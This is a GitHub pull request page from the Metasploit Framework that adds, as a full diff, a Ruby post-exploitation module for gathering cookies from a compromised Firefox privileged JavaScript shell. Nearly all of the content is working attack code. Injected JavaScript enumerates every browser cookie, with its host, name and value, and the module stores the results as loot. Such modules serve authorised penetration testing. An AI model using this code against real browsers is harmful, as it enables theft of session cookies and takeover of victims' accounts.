Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add cookie gathering post module for FF privileged sessions. #3146

Merged
merged 3 commits into from
Mar 27, 2014
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
67 changes: 67 additions & 0 deletions modules/post/firefox/gather/cookies.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,67 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'json'
require 'msf/core'
require 'msf/core/payload/firefox'

class Metasploit3 < Msf::Post

include Msf::Payload::Firefox
include Msf::Exploit::Remote::FirefoxPrivilegeEscalation

def initialize(info={})
super(update_info(info,
'Name' => 'Firefox Gather Cookies from Privileged Javascript Shell',
'Description' => %q{
This module allows collection of cookies from a Firefox Privileged Javascript Shell.
},
'License' => MSF_LICENSE,
'Author' => [ 'joev' ],
'DisclosureDate' => 'Mar 26 2014'
))

register_options([
OptInt.new('TIMEOUT', [true, "Maximum time (seconds) to wait for a response", 90])
], self.class)
end

def run
print_status "Running the privileged javascript..."
session.shell_write("[JAVASCRIPT]#{js_payload}[/JAVASCRIPT]")
results = session.shell_read_until_token("[!JAVASCRIPT]", 0, datastore['TIMEOUT'])
if results.present?
begin
cookies = JSON.parse(results)
file = store_loot("firefox.cookies.json", "text/json", rhost, results)
print_good("Saved #{cookies.length} cookies to #{file}")
rescue JSON::ParserError => e
print_warning(results)
end
end
end

def js_payload
%Q|
(function(send){
try {
var cookieManager = Components.classes["@mozilla.org/cookiemanager;1"]
.getService(Components.interfaces.nsICookieManager);
var cookies = [];
var iter = cookieManager.enumerator;
while (iter.hasMoreElements()){
var cookie = iter.getNext();
if (cookie instanceof Components.interfaces.nsICookie){
cookies.push({host:cookie.host, name:cookie.name, value:cookie.value})
}
}
send(JSON.stringify(cookies));
} catch (e) {
send(e);
}
})(send);
|.strip
end
end